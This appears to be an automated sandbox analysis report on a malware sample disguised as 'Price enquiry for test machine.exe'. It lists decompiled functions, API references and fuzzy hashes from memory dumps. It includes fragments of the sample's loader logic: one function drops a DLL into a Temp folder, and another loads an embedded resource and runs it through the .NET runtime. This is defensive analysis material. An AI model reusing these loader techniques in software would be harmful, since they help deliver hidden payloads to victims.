Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Price enquiry for test machine.exe" $1033$uxxyribzeom Setup
API String ID: 530164218-1608842788
Opcode ID: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction ID: 9405f6c8d043b7fcf606726b90d8bdb5e10644d2b1bbff0bcd5da451eaf68503
Opcode Fuzzy Hash: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction Fuzzy Hash: D211CFB1F006119BC7349F15E88093777BDEB89716369817FE801A73E0D67DAE029A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040568B, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040568B(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x0040568c
0x004056a3
0x004056ab
0x004056ab
0x004056b3

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030E8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405691
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030E8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 0040569A
lstrcatA.KERNEL32(?,00409010), ref: 004056AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040568B

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3916508600
Opcode ID: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction ID: e5ee9c2d52b027f92723a61f0ff242ac356e57f7af316d882355b101730f0027
Opcode Fuzzy Hash: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction Fuzzy Hash: 05D0A972606A302AE60227158C09F8B3A2CCF02321B040462F540B6292C2BC7D818BEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401D38, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D38() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 8)), 0x5a);
				0x40b014->lfHeight =  ~(MulDiv(E00402A0C(2), _t6, 0x48));
				 *0x40b024 = E00402A0C(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x18));
				 *0x40b02b = 1;
				 *0x40b028 = _t11 & 0x00000001;
				 *0x40b029 = _t11 & 0x00000002;
				 *0x40b02a = _t11 & 0x00000004;
				E00405BBA(_t18, _t24, _t26, 0x40b030,  *((intOrPtr*)(_t28 - 0x24)));
				_t14 = CreateFontIndirectA(0x40b014);
				_push(_t14);
				_push(_t26);
				E00405AF6();
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d46
0x00401d5f
0x00401d69
0x00401d6e
0x00401d79
0x00401d80
0x00401d92
0x00401d98
0x00401d9d
0x00401da7
0x004024eb
0x00401561
0x00402866
0x004028c1
0x004028cd

APIs

GetDC.USER32(?), ref: 00401D3F
GetDeviceCaps.GDI32(00000000), ref: 00401D46
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D55
CreateFontIndirectA.GDI32(0040B014), ref: 00401DA7

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction ID: 0c2e595a2d755a053b7cc3d6c09569b1e3f8f946256c05fe5e222a6b1ed621d0
Opcode Fuzzy Hash: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction Fuzzy Hash: B0F0C870E48280AFE70157705F0ABAB3F64D715305F100876F251BA2E3C7B910088BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF1, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BF1(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x4170e0; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423f4c;
						if(_t2 >  *0x423f4c) {
							_t3 = CreateDialogParamA( *0x423f40, 0x6f, 0, E00402B6E, 0);
							 *0x4170e0 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405F64(0);
					}
				} else {
					_t6 =  *0x4170e0; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x4170e0 = 0;
					return _t6;
				}
			}

0x00402bf8
0x00402c12
0x00402c18
0x00402c22
0x00402c28
0x00402c2e
0x00402c3f
0x00402c48
0x00000000
0x00402c4d
0x00402c54
0x00402c1a
0x00402c21
0x00402c21
0x00402bfa
0x00402bfa
0x00402c01
0x00402c04
0x00402c04
0x00402c0a
0x00402c11
0x00402c11

APIs

DestroyWindow.USER32(00000000,00000000,00402DD1,00000001), ref: 00402C04
GetTickCount.KERNEL32 ref: 00402C22
CreateDialogParamA.USER32(0000006F,00000000,00402B6E,00000000), ref: 00402C3F
ShowWindow.USER32(00000000,00000005), ref: 00402C4D

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction ID: 902fecb1894dce430947e24fe85b059bfb73d5b7bbd16117cdf5d745fa908bfb
Opcode Fuzzy Hash: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction Fuzzy Hash: 37F03030A09321ABC611EF60BE4CA9E7B74F748B417118576F201B11A4CB7858818B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404DD4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404DD4(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420520 != _t22) {
							 *0x420520 = _t22;
							E00405B98(0x420538, 0x425000);
							E00405AF6(0x425000, _t22);
							E0040140B(6);
							E00405B98(0x425000, 0x420538);
						}
						L11:
						return CallWindowProcA( *0x420528, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E00404753(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403EA0(0x413);
				return 0;
			}

0x00404de0
0x00404e05
0x00404e25
0x00404e28
0x00404e2b
0x00404e42
0x00404e48
0x00404e4f
0x00404e56
0x00404e5d
0x00404e62
0x00404e68
0x00000000
0x00404e78
0x00404e12
0x00404e65
0x00404e65
0x00000000
0x00404e65
0x00404e1e
0x00404e20
0x00000000
0x00404e20
0x00404de6
0x00000000
0x00000000
0x00404ded
0x00000000

APIs

IsWindowVisible.USER32 ref: 00404E0A
CallWindowProcA.USER32 ref: 00404E78

Part of subcall function 00403EA0: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00403EB2

Strings

, xrefs: 00404DE2

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction ID: 907b3508a45335f305929b628defbf7950d0c65962cf50d158fef9db48df65ea
Opcode Fuzzy Hash: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction Fuzzy Hash: 3B11BF71600208BFDF21AF61DC4099B3769BF843A5F40803BF604791A2C7BC4991DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004024F1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004024F1(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x20)) == __ebx) {
					_t7 = lstrlenA(E00402A29(0x11));
				} else {
					E00402A0C(1);
					 *0x40a010 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405B0F(_t17 + 8, _t15), "C:\Users\hardz\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004024f1
0x004024f1
0x004024f4
0x0040250f
0x004024f6
0x004024f8
0x004024fd
0x00402504
0x00402516
0x0040268f
0x0040268f
0x0040251c
0x0040252e
0x004015a6
0x004015a8
0x00000000
0x004015ae
0x004015a8
0x004028c1
0x004028cd

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 0040250F
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll,00000000,?,?,00000000,00000011), ref: 0040252E

Strings

C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll, xrefs: 004024FD, 00402522

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll
API String ID: 427699356-1585808497
Opcode ID: 5c36ca9ac26024871935510d0a87e67fb519006a7f000f4bdfc66cd9c3aad0f4
Instruction ID: 6775f3f9e4e00d505f4e1783fd87b496617f08e9b0a5c20f68d0788d80e55df2
Opcode Fuzzy Hash: 5c36ca9ac26024871935510d0a87e67fb519006a7f000f4bdfc66cd9c3aad0f4
Instruction Fuzzy Hash: F9F08971A44244BFD710EFA49E49AEF7668DB40348F10043BF141F51C2D6FC5641966E

Uniqueness

Uniqueness Score: -1.00%

Function 004053F8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004053F8(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422540->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422540,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405401
0x0040541d
0x00405425
0x0040542a
0x00000000
0x00405430
0x00405434

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422540,Error launching installer), ref: 0040541D
CloseHandle.KERNEL32(?), ref: 0040542A

Strings

Error launching installer, xrefs: 0040540B

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction ID: 7090b7fc8b0b8bfe0e18f62cc41de09a41a9c6505e722368f6ae49628a4dc155
Opcode Fuzzy Hash: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction Fuzzy Hash: F6E0ECB4A00219BBDB109F64ED09AABBBBCFB00304F50C521E910E2160E774E950CA69

Uniqueness

Uniqueness Score: -1.00%

Function 00403556, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403556() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f4f4;
				_t3 = E0040353B(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f4f4 =  *0x41f4f4 & 0x00000000;
				return _t3;
			}

0x00403557
0x0040355f
0x00403566
0x00403569
0x00403569
0x0040356b
0x00403570
0x00403577
0x0040357d
0x00403581
0x00403582
0x0040358a

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,?,0040352E,00403337,00000020), ref: 00403570
GlobalFree.KERNEL32 ref: 00403577

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403568

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3916508600
Opcode ID: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction ID: e2315670824f3ca0981a6a6bf9743b5050639b1b799e450ff7e3175358b78d1c
Opcode Fuzzy Hash: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction Fuzzy Hash: 10E08C329010206BC6215F08FD0479A7A6C6B44B22F11413AE804772B0C7742D424A88

Uniqueness

Uniqueness Score: -1.00%

Function 004056D2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056D2(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x004056d3
0x004056dd
0x004056df
0x004056e6
0x004056ee
0x00000000
0x00000000
0x00000000
0x004056ee
0x004056f0
0x004056f5

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CC1,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Price enquiry for test machine.exe,C:\Users\user\Desktop\Price enquiry for test machine.exe,80000000,00000003), ref: 004056D8
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CC1,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Price enquiry for test machine.exe,C:\Users\user\Desktop\Price enquiry for test machine.exe,80000000,00000003), ref: 004056E6

Strings

C:\Users\user\Desktop, xrefs: 004056D2

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1669384263
Opcode ID: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction ID: dce4988d3f9ae1539138201c89f565164349ec5ceb08caa00e339266b5a49006
Opcode Fuzzy Hash: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction Fuzzy Hash: 7FD0A772809D701EF30363108C04B8FBA48CF12310F490862E042E6191C27C6C414BBD

Uniqueness

Uniqueness Score: -1.00%

Function 004057E4, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057E4(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x004057f0
0x004057f2
0x0040581a
0x004057ff
0x00405804
0x0040580f
0x00000000
0x0040582c
0x00405818
0x00405818
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405804
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405812
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction ID: 6e20b17ba46ab238fcbb7c8296b2df733f1dbfa59429a89b2dba5ca226b3377d
Opcode Fuzzy Hash: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction Fuzzy Hash: C2F02733209D51ABC202AB255C00A2F7E98EF91320B24003AF440F2180D339AC219BFB

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Price enquiry for test machine.exe PID: 4344 Parent PID: 5956 Price enquiry for test machine.exeCOMMON

Executed Functions

Function 054429A8, Relevance: 36.3, Strings: 28, Instructions: 1299COMMON

Download Yara Rule

Strings

X1q, xrefs: 05443281
X1q, xrefs: 0544380E
X1q, xrefs: 054439AD
X1q, xrefs: 05443208
X1q, xrefs: 05443A0B
X1q, xrefs: 05443539
X1q, xrefs: 054437B3
X1q, xrefs: 054432D3
X1q, xrefs: 0544373F
X1q, xrefs: 054439C9
X1q, xrefs: 05443942
X1q, xrefs: 05443827
X1q, xrefs: 05442F8B
X1q, xrefs: 054433BB
X1q, xrefs: 05443369
X1q, xrefs: 05442F42
X1q, xrefs: 0544325F
X1q, xrefs: 054435AD
X1q, xrefs: 05443608
X1q, xrefs: 05443621
X1q, xrefs: 05443A27
X1q, xrefs: 054431BD
X1q, xrefs: 05443347
X1q, xrefs: 05443049
X1q, xrefs: 054432F5
X1q, xrefs: 0544319A
X1q, xrefs: 054435C6
X1q, xrefs: 054437CC

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID: X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q$X1q
API String ID: 0-2636084743
Opcode ID: d94dfb36f40bc1a022276d9d39801d8a0473a95c95c0c9c7803a9a9260d7b20b
Instruction ID: 42a92338f1191a40c641fe91b1920cda1619ca36365cf7056fb8901e9a289d20
Opcode Fuzzy Hash: d94dfb36f40bc1a022276d9d39801d8a0473a95c95c0c9c7803a9a9260d7b20b
Instruction Fuzzy Hash: 2DB24774A402188FEB64DF79C9547EEB7F2BF89704F1484AAD40AAB391DA309D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00401489, Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401489() {
				void* _v8;
				struct HRSRC__* _t4;
				long _t10;
				struct HRSRC__* _t12;
				void* _t16;

				_t4 = FindResourceW(GetModuleHandleW(0), 1, 0xa); // executed
				_t12 = _t4;
				if(_t12 == 0) {
					L6:
					ExitProcess(0);
				}
				_t16 = LoadResource(GetModuleHandleW(0), _t12);
				if(_t16 != 0) {
					_v8 = LockResource(_t16);
					_t10 = SizeofResource(GetModuleHandleW(0), _t12);
					_t13 = _v8;
					if(_v8 != 0 && _t10 != 0) {
						L00401000(_t13, _t10); // executed
					}
				}
				FreeResource(_t16);
				goto L6;
			}

0x0040149f
0x004014a5
0x004014a9
0x004014ec
0x004014ee
0x004014ee
0x004014b7
0x004014bb
0x004014c7
0x004014cd
0x004014d3
0x004014d8
0x004014e0
0x004014e0
0x004014d8
0x004014e6
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,0000000A,00000000,?,00000000,?,?,80004003), ref: 0040149C
FindResourceW.KERNELBASE(00000000,?,?,80004003), ref: 0040149F
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014AE
LoadResource.KERNEL32(00000000,?,?,80004003), ref: 004014B1
LockResource.KERNEL32(00000000,?,?,80004003), ref: 004014BE
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014CA
SizeofResource.KERNEL32(00000000,?,?,80004003), ref: 004014CD

Part of subcall function 00401489: CLRCreateInstance.MSCOREE(00410A70,00410A30,?), ref: 00401037

FreeResource.KERNEL32(00000000,?,?,80004003), ref: 004014E6
ExitProcess.KERNEL32 ref: 004014EE

Strings

v2.0.50727, xrefs: 00401053

Memory Dump Source

Source File: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Resource$HandleModule$CreateExitFindFreeInstanceLoadLockProcessSizeof
String ID: v2.0.50727
API String ID: 2372384083-2350909873
Opcode ID: 060aa7053acf556b93056d40afe3d2a4a8ddd9aae74d8bebeb0beeb8417ee5ee
Instruction ID: e1ffc0a1c1a4d9c60ba63a2b3d6c0bb581dd470f6d51773805e4de56b79455e5
Opcode Fuzzy Hash: 060aa7053acf556b93056d40afe3d2a4a8ddd9aae74d8bebeb0beeb8417ee5ee
Instruction Fuzzy Hash: C6F03C74A01304EBE6306BE18ECDF1B7A9CAF84789F050134FA01B62A0DA748C00C679

Uniqueness

Uniqueness Score: -1.00%

Function 054409A0, Relevance: 10.9, Strings: 8, Instructions: 882COMMON

Download Yara Rule

Strings

X1q, xrefs: 0544109C
X1q, xrefs: 054413E9
X1q, xrefs: 05441445
,:q, xrefs: 05441068
,#q, xrefs: 05441B97
$%q, xrefs: 05441B64
X1q, xrefs: 05441391
X1q, xrefs: 0544131C

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID: $%q$,#q$,:q$X1q$X1q$X1q$X1q$X1q
API String ID: 0-2005402572
Opcode ID: ea3a0d7a838bb706a58b1a45f1d2e29df41b8847d1cde9368809601bf01c9a22
Instruction ID: 8093217e3893c48ce8a7d7a84c23d3b56ae974a278cee0f3f6edbf4717b50134
Opcode Fuzzy Hash: ea3a0d7a838bb706a58b1a45f1d2e29df41b8847d1cde9368809601bf01c9a22
Instruction Fuzzy Hash: AA627330B402049FEB24DBA9C988BEEB7F2BF85314F14856AD119EB391DA35DC85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 049DED98, Relevance: 1.7, APIs: 1, Instructions: 202libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049DEDD8

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1d57cb0673dcb25fb257a1588292f20f9754be3cee200c97cb3c3cd95b15c89e
Instruction ID: 1560cc954078e5be64ecb9f3a178c3f876c5573abb482418e9d314228fa91b47
